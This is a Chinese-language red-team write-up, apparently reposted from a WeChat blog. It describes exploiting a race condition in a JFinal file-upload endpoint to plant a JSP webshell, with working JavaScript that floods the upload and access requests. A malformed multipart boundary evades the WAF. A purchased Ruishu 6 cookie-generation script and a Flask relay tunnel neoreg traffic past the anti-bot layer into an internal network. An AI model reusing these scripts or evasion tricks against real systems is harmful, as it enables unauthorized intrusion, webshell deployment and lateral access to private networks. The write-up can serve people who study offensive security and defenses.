从条件竞争到绕过瑞数6反爬构造正向代理进入内网

admin 2023年12月11日15:36:18评论50 views字数 5514阅读18分22秒阅读模式

前言

文章主要讲述某次红队攻防项目中,从挖掘某系统0day漏洞拿到shell并通过jfinal框架的某个tips绕过waf,到绕过瑞数6反爬最终构造正向代理进入内网的过程

漏洞挖掘

前期若干天供应链的艰辛不谈,直接进入到挖洞阶段

拿到手一看代码,发现和目标能对的上的接口少之又少,大概只有两个左右的class中的路由能和目标对的上。扫视一遍lib依赖和web.xml后确定了一些信息:1、目标使用jfinal框架进行开发 2、目标没有能rce的第三方依赖。对目标站点抓包访问了一下,发现了目标的站点不太对劲,因为这个站不能重放包。一开始我以为是银行的那种防重放系统,后面找了专家问了一下,是瑞数反爬虫。这就意味着我们打exp会非常艰难,因为自己构造的exp数据包是过不了瑞数的,打过去会直接返回412的状态码。瑞数反爬的防护下,你的每个请求包都要求带一个cookie,这个cookie都是根据uri动态加密计算的。

到这里为止,环境还是令人绝望的。一两个能对上路由的class文件、有漏洞也不一定打的了的瑞数反爬虫、更恐怖的是就算侥幸rce了,代理应该怎么做。正常人一般就放弃了,但我在上一篇hessian反序列化的博客说过:没有打不死的站,只有不努力的工程师。所以必须梭哈,全力办他!

那么问题来了,在没有第三方能rce依赖下,还能找到什么漏洞呢?我在通篇浏览完少量的代码后,发现了一个上传点,但是这个上传点强制限制了文件内容是jpg,而且后缀使用了白名单。除了这个上传点之外,就没有其他的有用的代码了,其他代码全是业务上的渲染和一些预编译的sql。只能转头看这个上传点,这个上传点和我们平常见的最多的SpringMVC的那种上传很不一样。

从条件竞争到绕过瑞数6反爬构造正向代理进入内网


上图就是文件上传的一个接口,在后面的代码中我就没看到有文件落地的过程了,那说明从http的请求到文件的写入过程在this.getFiles中

最后一直跟,跟到了jfinal框架里面,在下面的红框中进行了文件写入

从条件竞争到绕过瑞数6反爬构造正向代理进入内网


从条件竞争到绕过瑞数6反爬构造正向代理进入内网


从条件竞争到绕过瑞数6反爬构造正向代理进入内网


从条件竞争到绕过瑞数6反爬构造正向代理进入内网

那从这里看我好像可以直接写入jsp文件,在我本地环境测试之后发现并没有写进去,然后我就继续看后续的代码,是否做了什么操作

后面发现文件上传完有一个判断isSafeFile的方法

从条件竞争到绕过瑞数6反爬构造正向代理进入内网

这里检测后缀是不是jsp或者jspx,如果是的话会进行删除

从条件竞争到绕过瑞数6反爬构造正向代理进入内网

看到这边灵光一现,如果我访问jsp的时机正好在他写入了jsp文件之后,而未来得及删除的时候,那么就能成功的访问到webshell了,从上面代码看显然这个路径是固定的。明显的条件竞争场景。这边漏洞点以及有了,我的exp只要两个数据包,一个数据包上传jsp,一个数据包访问这个jsp即将落地的一个web路径。两个数据包高并发的发出去,在某一时刻就可以获取到shell。

Bypass瑞数反爬虫&&Bypass Waf GetShell

前面说了因为有瑞数,我们的exp是没办法正常的发出去的,后面同事研究了下,如果通过js来调用http的请求,那么这个请求自动会携带瑞数的cookie,这样就能正常的把包发出去了。

通过这个特点,我找chatgpt写了两个js代码

下面的代码的真实url路径我进行了修改

upload.js

fileInput = document.getElementById('fileInput');file = fileInput.files[0];
function makeRequest(url) { return new Promise((resolve, reject) => { const xhr = new XMLHttpRequest(); var fd = new FormData();
fd.append("fileField",file); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=---');

xhr.onload = function() { if (xhr.status >= 200 && xhr.status < 300) { resolve(xhr.responseText); } else { reject(new Error(`HTTP request failed with status ${xhr.status}`)); } };
xhr.onerror = function() { reject(new Error('Network error')); };
xhr.send(fd); });}
url = '/uploadExample';concurrency = 10000; // 设置并发请求数
// 创建一组请求requests = Array.from({ length: concurrency }, () => makeRequest(url));
// 使用Promise.all等待所有请求完成Promise.all(requests) .then(responses => { console.log('All requests completed successfully:', responses); }) .catch(error => { console.error('One or more requests failed:', error); });

get.js

function makeRequest(url) {  return new Promise((resolve, reject) => {    const xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.onload = function() { if (xhr.status == 200 && xhr.status == 500) { resolve(xhr.responseText); } else { //reject(new Error(`HTTP request failed with status ${xhr.status}`)); } };
xhr.onerror = function() { //reject(new Error('Network error')); };
xhr.send(); });}
url = '/shell.jsp;';concurrency = 20000; // 设置并发请求数
// 创建一组请求requests = Array.from({ length: concurrency }, () => makeRequest(url));
// 使用Promise.all等待所有请求完成Promise.all(requests) .then(responses => { console.log('All requests completed successfully:', responses); }) .catch(error => { console.error('One or more requests failed:', error); });

打开F12,先运行upload.js,再打开另外一个浏览器运行get.js,这样就可以模拟瑞数的数据包进行发包了

可以注意到我上面访问webshell的路径为:/shell.jsp;

这里参考:https://forum.butian.net/share/1899,因为jfinal做了限制,正常不能访问jsp文件,但某些版本可以通过;绕过

还有个点是upload.js中有一段代码为

    xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=---');

这里是绕过waf使用的,因为我构造了畸形的multipart,所以导致waf不能识别到multipart参数中的值,也就绕过了waf。通过我本地测试,这样写在final中是可以正常解析并把文件写入到本地磁盘的。因此这里利用两者解析的差异性绕过了waf。这个绕过也是极少数能用js表达出来的绕过了,不然如果要更多的修改数据包来绕waf的话,js可能就完不成了,也就没办法过瑞数的同时过waf了。

通过大概几千到一万次的访问,最后我访问到了我上传的jsp文件,这个jsp文件的功能为在同目录写入一个专门做文件上传功能的小马,方便我后续稳定的做上传测试。后面我用上传小马传了个命令执行马上去,至此shell就拿下了

Bypass瑞数做正向代理

经过命令执行的探测,发现目标站不出网无法做反向代理。但做正向代理的话,前面又有瑞数,正向代理可没办法用js去一条一条的发包。这里只能正面去刚了,首先我想到的是用python调用selinium或playwright框架去访问目标站,然后模拟js执行来绕过瑞数。但显然我想的简单了,完全绕不过去,都被检测了。后来实在没办法,开始在网上找专门做瑞数解密的人去弄,经过别人研判是最新的瑞数6代,每一个站的加密都是不一样的,因此没有通用工具能破解,只能一个站一套脚本。最后使用钞能力全款拿下了一套脚本。

有个这个脚本后,我们就能做到先调用脚本,获取一个我们要访问的url的加密cookie,把cookie附加到我们的数据包中,这样我们数据包就经过加密,可以正常的抵达到目标服务器的后端了。

下面就是对于neoreg的改造,说实话,在前面的几天中已经花费很多的时间了,到这个时候我已经没心情再去看neoreg哪里调用了http请求,然后再去调用加密给他赋cookie了,因为这样的话我肯定要花时间去理解neoreg的代码并找到每个http请求的地方。很浪费时间。我想了个折中的办法,也就是我用python写一个flask,这个flask的功能是监听8080端口,然后neoreg把流量发给flask监听的8080端口。flask收到了neoreg的流量后,调用瑞数加密的脚本,获取到一个可用的Cookie,把Cookie塞入到flask收到的neoreg的http包中的Cookie位置,然后把整合完毕的包发给目标站。

从条件竞争到绕过瑞数6反爬构造正向代理进入内网


最后代码大致如下

#!/usr/bin/env python3# -*- coding: utf-8 -*-import serverimport urllibfrom flask import Flaskfrom flask import requestfrom flask import Responseimport requestsfrom http.cookiejar import CookieJarimport rs6
# from requests.packages.urllib3.exceptions import InsecureRequestWarning# requests.packages.urllib3.disable_warnings(InsecureRequestWarning)requests.packages.urllib3.disable_warnings()#requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += 'HIGH:!DH:!aNULL'proxies={ 'http':'http://127.0.0.1:8888', 'https':'http://127.0.0.1:8888',}
app = Flask(__name__)
url = 'https://xxxxxx:8888/upload/tun.jsp;'
def getRsCookie(url): tempCookie=rs6.getCookie(url) return tempCookie

@app.route('/<path>',methods=['GET','POST'])def index(path): while(True): cookie=getRsCookie(url) cookieArr = cookie.split(';') cookies = {} for cookie in cookieArr: keyValue = cookie.split('=') cookies[keyValue[0]] = keyValue[1] if request.method == 'GET': # try:
res = requests.get(url, verify=False,cookies=cookies,proxies=proxies) if res.status_code!=200: continue resp = server.Response(res.text) return resp elif request.method == 'POST': data = request.get_data() headers = {'Content-Type': 'application/octet-stream'} res = requests.post(url, headers=headers, data=data,cookies=cookies,verify=False, proxies=proxies) if res.status_code!=200: continue resp = server.Response(res.text) return resp
if __name__ == "__main__": app.run(host='0.0.0.0', port=8811)

最后成功打通了代理,顺利进入了内网

总结

漏洞挖掘和漏洞利用同样重要,有洞打不了在一些大型的攻防中比较常见,重要是的能否有灵活的思路去应对以及有一个死磕到底决心。


Author:https://flowerwind.github.io/


原文始发于微信公众号(长个新的脑袋):从条件竞争到绕过瑞数6反爬构造正向代理进入内网

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月11日15:36:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从条件竞争到绕过瑞数6反爬构造正向代理进入内网https://cn-sec.com/archives/2287148.html

发表评论

匿名网友 填写信息